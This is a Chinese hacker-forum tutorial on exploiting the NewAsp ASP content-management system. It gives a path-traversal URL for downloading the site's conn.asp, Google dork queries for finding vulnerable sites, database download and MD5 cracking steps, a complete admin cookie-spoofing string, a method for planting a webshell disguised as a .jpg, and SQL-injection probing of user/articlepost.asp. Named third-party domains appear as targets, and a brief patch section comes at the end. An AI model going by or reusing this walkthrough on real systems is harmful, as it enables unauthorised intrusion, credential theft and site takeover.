*[标题]:新云管理系统漏洞
*[作者]:安静的小E
*[来自]:中国黑客联盟 [C.H.U]
*[个人BLOG]:http://exploit.boke.in
Ps:昨天是万圣节,我等了一年终于可以不化妆出门了!
06年的前半年,网络安全还是没有什么动向,可过了下半年,漏洞出现是如火如荼,脚本漏洞一个接着一个爆,
我们还是回归正题,先来看看网络上对新云网站系统的介绍:新云网站系统是一套基于WEB的网站管理系统,采用网络中已经成熟、稳定地技术ASP+Acces(或SQL2000)开发而成,通过它,您可以很方便地管理自己网站,并集成支付宝在线支付插件。新云网站系统一般以源码,软件下载站等居多,其中不乏一些黑客站点,在我印象里黑软基地和黑客58都曾经用过这套整站的…….其实最近新云管理系统爆出2份漏洞,一个是新云网站管理系统2.1SP1任意文件下载漏洞,还有一个就是注入漏洞,通杀新云系统2.1以前的ACCESS和SQL版版本,下面我将为大家一一讲解。
一.系统任意文件下载漏洞:
漏洞引起的原因是flash/downfile.asp过滤不严导致可下载任意文件。看一下出现漏洞的相关代码:
<%
Dim url,strUrl,strPath
url = Replace(Replace(Replace(Request("url"), "'", ""), "%", ""), "\", "/") //首先先进行一些字符的替换,'换成空,%也换成空,\换成/
If Len(url) > 3 Then
If Left(url,1) = "/" Then
Response.Redirect url //如果用户提交的url第一个字符是/,那直接转向url
End If
If Left(url,3) = "../" Then
Response.Redirect url //和上面的注释一样不可以用../跳转目录
End If
strUrl = Left(url,10)
If InStr(strUrl, "://") > 0 Then
Response.Redirect url
End If
If InStr(url, "/") > 0 Then
strPath = Server.MapPath(".") & "\" & url //补充物理地址
strPath = Replace(strPath, "/", "\") //替换/为\
Call downThisFile(strPath) //下载
Else
Response.Redirect url
End If
End If
Sub downThisFile(thePath)
Response.Clear
On Error Resume Next
Dim stream, fileName, fileContentType
fileName = split(thePath,"\")(UBound(split(thePath,"\")))
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(thePath)
Response.AddHeader "Content-Disposition", "attachment; filename=" & fileName
Response.AddHeader "Content-Length", stream.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing
End Sub
%>从以上代码我们看到貌似url都被处理了,不可能用../跳转目录。但是程序只判断了url的前三个字符。既然前三个字符不能是../,我们就构造在后面,构造一下url参数为"uploadfile/../../conn.asp",于是总体的地址就是http://****/flash/downfile.asp?url=uploadfile/../../conn.asp,就可以下载conn.asp文件了。
现在我们就来看一下此漏洞的利用过程:
一,踩点
看了上面对漏洞的简单分析,如此我们只需要把flash/downfile.asp?url=uploadfile/../../conn.asp提交到网站根目录就可以达到我们的目的了。在Google搜索关键字 “关于本站 – 网站帮助 – 广告合作 – 下载声明 – 友情连接 – 网站地图 – 管理登录”或者“Powered by:NewAsp”,还可以使用google hack利用intext或者inurl搜索:“Newasp”就可以找到利用新云网站管理建站的页面。返回如图1
[attachment=2470]
二.猎取
然后随便找个有漏洞的网站,在URL后提交flash/downfile.asp?url=uploadfile/../../conn.asp,如图2
[attachment=2471]
把conn.asp下载回来,conn.asp是建立数据库的连接文件,我们把conn.asp下载回来的目的就是发现目标网站的数据库路径,进而获取管理员信息。
这里为了方便,我给大家提供了一个新云通杀漏洞的利用工具,如图3
[attachment=2472]
输入URL地址,然后点击“Down Conn.asp”就可以了!实现的是同样的效果。
三.剖析
用记事本打开conn.asp,我们会发现数据库连接的路径,如图4
[attachment=2473]
输入数据库的完整地址:http://www.jinshouzhi.com\database\#newasp.mdb下载数据库。
四.寻宝
用辅臣数据库浏览器打开,如图05
[attachment=2474]
五.破解
现在我们获取了管理员帐号和密码,管理的密码是MD5加密的,我们可以在http://www.xmd5.com,在线破解MD5网站上查询,对于查询不到的我们就需要碰一下运气,注意管理员的信息,比如帐号和口令相同等等,对于还是无法爆破的就需要暴力破解了,我们先登陆后台看看有什么可以利用的地方继续扩大战果,输入默认管理员页面:http://jinshouzhi.com/admin/admin_index.asp,通常新云网站漏洞的首页下角会出现“管理登陆”。输入我们得到的帐号和密码进入,如图6
[attachment=2475]
我们已经拿到高级管理员权限了。
六.cookie欺骗
点击文章中心的“文章管理”,问题出现了,如图07
[attachment=2476]
管理员页面还有一种可能情况出现,如图8
[attachment=2477]
再就是一种情况是用户名被锁定,也就这三种状态了。对于用户名被锁定就必须用管理员帐号进入后台设置激活用户名,最终还是要得到管理信息嘛!那就要利用cookie欺骗了,入侵过新云网站管理系统的都应该知道。
我们先来看admin_login.asp文件里的一段代码,代码如下:
Sub logout() //清除COOKIES中管理员身份的验证信息.
Session.Abandon
Session("AdminName") = ""
Session("AdminPass") = ""
Session("AdminGrade") = ""
Session("AdminFlag") = ""
Session("AdminStatus") = ""
Session("AdminID") = ""
Session("AdminRandomCode") = ""
Response.Cookies(Admin_Cookies_Name) = "&
#34;
Response.Redirect ("../")
End Sub //这里可以到,我们COOKIE提交的时候主要是提交AdminName,AdminPass,AdminGrade,AdminFlag,AdminStatus,AdminID,AdminRandomCode,在这几个参数中,RandomCode是随机码,是在登陆时验证管理员是否在线的参数。
Sub chklogin()
Dim adminname, password,RandomCode
adminname = Trim(Replace(Request("adminname"), "'", ""))
password = md5(Trim(Replace(Request("password"), "'", "")))
If Newasp.CheckPost = False Then
ErrMsg = ErrMsg + "您提交的数据不合法,请不要从外部提交登陆。"
Founderr = True
End If
If Newasp.IsValidStr(Request("adminname")) = False Then
ErrMsg = ErrMsg + "<li>用户名中含有非法字符。</li>"
Founderr = True
End If
If Newasp.IsValidPassword(Request("password")) = False Then
ErrMsg = ErrMsg + "<li>密码中含有非法字符。</li>"
Founderr = True
End If
If Request("verifycode") = "" Then
—————————-返回错误信息,省略————————————————————————-
If Founderr = True Then Exit Sub
If Not IsObject(Conn) Then ConnectionDatabase
Set Rs = Server.CreateObject("ADODB.Recordset")
SQL = "select * from NC_Admin where password='" & password & "' And username='" & adminname & "'"
Rs.Open SQL, Conn, 1, 3
If Rs.BOF And Rs.EOF Then
FoundErr = True
ErrMsg = ErrMsg + "<li>您输入的用户名和密码不正确或者您不是系统管理员。!</li>"
Exit Sub大家也看到了这里一共定义了三个变量,也就是adminname, password,RandomCode。其中很明显的对adminname, password变量进行了过滤,但是程序从开始到结束都没有对RandomCode变量进行判断。
接着看代码部分:
RandomCode = Newasp.GetRandomCode
Rs("LoginTime") = Now()
Rs("Loginip") = Newasp.GetUserip
知道RandomCode变量是直接从数据库中提取赋值的。RandomCode存在于数据库中,并且程序对这个变量(随即码)没有进行任何判断。
原理清楚了我们就来实际利用一下:
制造注入猜解在猜字段username,password,id时加猜一个RandomCode字段猜解,然后在提交的COOKIE中找到RandomCode把我们猜解出来的数据替换成原来的就可以现实cookies欺骗了。
ASPSESSIONIDCARADBTC=PPFHKFMBMFMGDOEIMKKPDFGL;admin%5Fnewasp=AdminStatus=%B8%DF%BC%B6%B9%DC%C0%ED%D4%B1&AdminID=1Adminflag=SiteConfig%2CAdvertise%2CChannel%2CTemplate%2CTemplateLoad%2CAnnounce%2CAdminLog%2CSendMessage%2CCreateIndex%2CAddArticle1%2CAdminArticle1%2CAdminClass1%2CSpecial1%2CCreateArticle1%2CComment1%2CAdminJsFile1%2CAdminUpload1%2CAdminSelect1%2CAuditing1%2CAddSoft2%2CAdminSoft2%2CAdminClass2%2CSpecial2%2CCreateSoft2%2CComment2%2CAdminJsFile2%2CAdminUpload2%2CAdminSelect2%2CAuditing2%2CDownServer2%2CErrorSoft2%2CAddShop3%2CAdminShop3%2CAdminClass3%2CSpecial3%2CCreateShop3%2CComment3%2CAdminJsFile3%2CAdminUpload3%2CAdminSelect3%2CAuditing3%2CAddArticle5%2CAdminArticle5%2CAdminClass5%2CSpecial5%2CCreateArticle5%2CComment5%2CAdminJsFile5%2CAdminUpload5%2CAdminSelect5%2CAuditing5%2CDownServer5%2CAddUser%2CAdminUser%2CChangePassword%2CUserGroup%2CMainList%2COnline%2CVote%2CFriendLink%2CArticleCollect%2CSoftCollect%2CUploadFile%2CRenameData%2CBackupData%2CRestoreData%2CCompressData%2CSpaceSize%2CBatchReplace&AdminGrade=999&AdminPass=我们猜解出来的MD5密码&RandomCode=3N263U7hgb314iwb&AdminName=猜解出来的账号。
我们打开老兵cookie欺骗工具,然后在Cookies处输入以上字符,在Address处输入管理员页面,搞定,回到了图6的位置,现在我们就可以上传webshell了,来到文章中心处,打开“文章管理”随便编辑一个帖子,然后正常插入我们改过后缀jpg的小马,纪录上传路径,然后找到数据库备份把我们的木马后缀备份回来就可以看见小马了,之后干什么不用我说了吧!
二.新云网站管理系统articlepost.asp文件注入漏洞
问了职业欠钱说关于新云网站注入的漏洞有人写么?他说没有,于是我就在这里给大家带过一下吧!可能大家也都知道了,是前2个月左右时候爆的SQL注入漏洞。漏洞通杀ACCESS和SQL版本的新云2.1以下版本,漏洞存在于user/articlelist.asp文件,漏洞出现在user\articlepost.asp文件的第333行上,代码如下:
SQL = "select ArticleID,title,content,ColorMode,FontMode,Author,ComeFrom,WriteTime,username from NC_Article where ChannelID=" & ChannelID & " And username='" & Newasp.MemberName & "' And ArticleID=" & Request("ArticleID")大家看到了么?程序只检查了用户是否有发表文章的权限,程序对ArticleID没有做任何过滤直接进Select查询,构成了SQL注入漏洞。
漏洞利用:
首先还是老方法,找利用新云网站系统做站的目标,不过这次的搜索目标和开头不一样,因为影响的管理
系统版本也不一样,我们要找的新云2.1版本以下的,搜索关键字:SiteManageSystem Version 2.0.0,我就拿这黑客站开刀吧!http://www.ysaisf.com,然后我们去注册一个会员,然后登陆控制面板,发布一篇文章, 然后打开类似链接:articlelist.asp?action=,我测试的地址是:http://www.ysaisf.com/user/ArticleList.Asp?action=edit&ChannelID=1&ArticleID=57, 我在URL后输入and 1=1回车显示正常,输入and 1=2返回错误页面,如此以来看来一切都很简单了,然后用注入工具检测得到管理员帐号和密码,利用上一个漏洞的cookie欺骗进入后台,然后利用“备份数据库”功能上传木马。
[attachment=2478]
修补方案:
一.对于flash/downfile.asp过滤不严导致可下载任意文件可直接去官方下载相应补丁文件,我检测的时候遇见一个目标网站,成功登陆管理页面,结果却发现后台没有备份数据库和恢复数据库的链接,有时候也不失是个一方法,还有就是conn.asp修补就修改conn.asp或者加入一句容错语句:On Error Resume Next
二.对于articlepost.asp文件注入漏洞的修补:
1.及时更新补丁,升级整站程序
2.我们可以用cint函数处理,修补后的方法如下:把articlepost文件中的SQL = "select ArticleID,title,content,ColorMode,FontMode,Author,ComeFrom,WriteTime,username from NC_Article where ChannelID=" & ChannelID & " And username='" & Newasp.MemberName & "' And ArticleID=" & Request("ArticleID")修改为Dim ArticleID ArticleID = Newasp.ChkNumeric(Request.Form("ArticleID")) SQL = "select ArticleID,title,content,ColorMode,FontMode,Author,ComeFrom,WriteTime,username from NC_Article where ChannelID=" & ChannelID & " And username='" & Newasp.MemberName & "' And ArticleID=" & ArticleID既可全文到这里就结束了,其实新云还有2个漏洞我没做详细说明,还有一个是SQL版新云管理系统可以饶过单引号注入漏洞,还有可以修改任意用户资料漏洞,限于篇幅就写到这里吧.